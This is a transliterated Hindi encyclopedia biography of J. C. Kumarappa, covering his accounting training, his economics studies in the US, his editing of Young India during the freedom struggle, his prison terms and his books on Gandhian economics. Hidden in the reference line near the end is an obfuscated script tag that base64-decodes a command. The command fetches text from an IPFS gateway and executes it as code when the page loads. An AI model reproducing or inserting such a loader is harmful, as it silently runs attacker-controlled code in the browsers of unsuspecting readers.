जे.सी. कुमारप्पा
je.si. kumarappa
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| poora nam | je.si. kumarappa |
| any nam | joseph chelladuree k aaurnelias |
| janm | 4 janavari, 1892 |
| janm bhoomi | madras ke thanajivar |
| mrityu | 30 janavari, 1960 |
| mrityu sthan | maduree |
| karm bhoomi | bharat |
| karm-kshetr | svatantrata senani |
| mukhy rachanaean | ikonomi aauf pramanens, gaandhiyan ikonomik thot |
| shiksha | snatak |
| vidyalay | sayarakruz vishvavidyalay |
| nagarikata | bharatiy |
| sanbandhit lekh | mahatma gaandhi |
| any janakari | gaandhiji ki anupasthiti mean kumarappa ne yang indiya ke sampadan ki zimmedari uthayi aur inake akramak lekhan ke karan british sarakar ne inhean giraphtar karake dhaee sal ke lie zel bhej diya. jel se riha hone ke bad inhoanne bihar mean vinashakari bhookamp ke rahat-kary ke paise ke len-den ka kam dekhane lage. |
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je. si. kumarappa (aangrezi: J. C. Kumarappa, janm: 4 janavari, 1892, madras; mrityu: 30 janavari, 1960, maduree) bharat ke ek arthashastri the. inaka mool nam 'joseph chelladuree k aaurnelias' tha. ye mahatma gaandhi ke nikat sahayogi rahe the. je. si. kumarappa ko bharat mean gaandhivadi arthashastr ka pratham guru mana jata hai.
parichay
je.si. kumarappa madras mean thanajivar namak sthan par 4 janavari, 1892 mean paida hue the. ye maduree ke madhyamavargiy paramparagat iqasaee parivar se the. inake bachapan ka nam josaf chelladurai k aaurneliyas tha. inhoanne madras se apani skooli shiksha poori ki tatha usake bad landan jakar lekha-vidhi (ekauanteansi) mean prashikshan prapt kiya aur phir vahian landan mean ekauanteant ke roop mean kuchh varshoan tak kam bhi kiya. pratham vishvayuddh ki samapti par aur apani mata ke bulane par ye bharat laut aye aur bambee mean kuchh samay tak ek british kampani mean kam kiya. usake bad 1924 mean inhoanne apana vyavasay shuroo kiya.[1]
shiksha
je.si. kumarappa 1927 mean phir uchch adhyayan ke lie amerika gaye aur sayarakruz vishvavidyalay se vanijy evan vyapar prabandhan mean snatak ki upadhi prapt ki. isake bad inhoanne kolambiya vishvavidyalay mean sarvajanik vitt ka adhyayan karake apane samay ke prakhyat arthashastri edavin seligman ke margadarshan mean 'sarvajanikavitt evan bharat ki nirdhanata' par shodh patr likha jisamean bharat ki arthik durdasha mean british aupaniveshik shasan ki nitiyoan se hue nukasan ka adhyayan kiya gaya tha. is adhyayan ke dauran hi kumarappa ne paya ki bharat ki dayaniy arthik sthiti ka mukhy karan british aupaniveshik shasan ki anaitik aur shoshak nitiyaan haian. isi bich unhoanne apane mool parivarik nam kumarappa ko apane nam ke sath jo dane ka faisala kiya.
svatantrata mean yogadan
je.si. kumarappa 1929 mean bharat vapis laut ae. unhoanne svayan mahatma gaandhiji ke sath milakar gujarat mean gramin sarvekshan sanchalit kiya tatha kendriy prantoan mean audyogik sarvekshan kiya. inhoanne 1929-1931 ke dauran gujarat vidyapith mean padhaya aur gaandhiji ki gair-mojoodagi mean yang indiya ka sampadan kiya. yang indiya mean kumarappa ke lekh ‘sarvajanik vitt aur hamari nirdhanata’ ka silasilevar prakashan bhi shuroo ho gaya. sath hi matar talluka ke arthik sarvekshan ka prakashan bhi ho raha tha. in prakashanoan ke bich gaandhi ne namak satyagrah ke lie daandi yatra bhi shuroo kar di. namak satyagrah mean bhag lene ke karan jab british prashasan ne gaandhi ko giraphtar kar liya to yang indiya ke sanchalan ki zimmedari kumarappa par a gayi. is patr mean lekhan ke karan kumarappa ko bhi giraphtar karake dedh sal ke lie jel bhej diya gaya.
1931 mean gaandhi-iravin samajhaute ke bad kumarappa riha hue aur inhean lahaur kaangres adhiveshan mean british sarakar aur bharat ke bich ke vittiy len den ki samuchit p datal karane ke lie gathit samiti ka adhyaksh banaya gaya. is kaangres adhiveshan ke bad gaandhi golamez sammelan mean bhag lene ke lie ianglaind chale gaye. gaandhi ki anupasthiti mean kumarappa ne yang indiya ke sampadan ki zimmedari phir se uthayi aur unake akramak lekhan ke karan british sarakar ne unhean punah giraphtar karake dhaee sal ke lie zel bhej diya. jel se riha hone ke bad kumarappa ne bihar mean vinashakari bhookamp ke rahat-kary ke paise ke len-den ka kam dekhane lage. sanh 1934 mean ye aaul indiya vilej indastrij esoshieshan ke sachiv banaye gaye aur gaandhiji ke dehant ke bad ye isake adhyapak banaye gaye kumarappa ne mahatma gaandhi ke arthik vicharoan ko ek vaijnanik atma ke sath vyakhyayit kiya. adharabhoot shiksha ke pratipadan mean bhi inhoanne mukhy bhoomika nibhayi.
rachanaean
je.si. kumarappa ek bahusarjak rachanakar the aur unhoanne gaandhivadi arthashastr mean anek pustakean likhi. unamean do pustakean inaki atyant lokapriy huee jo nimn prakar hai-
- ikonomi aauph pramanens (Economy of Permanence)
- gaandhiyan ikonomik thot (Gandhian Economic)
mrityu
je.si. kumarappa ka nidhan 30 janavari, 1960 hua. inaki smriti mean kumarappa ianstityoot aauf gram svaraj ki sthapana ki gayian.
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tika tippani aur sandarbh
- ↑ je.si. kumarappa (hindi) ignca.nic.in. abhigaman tithi: 18 faravari, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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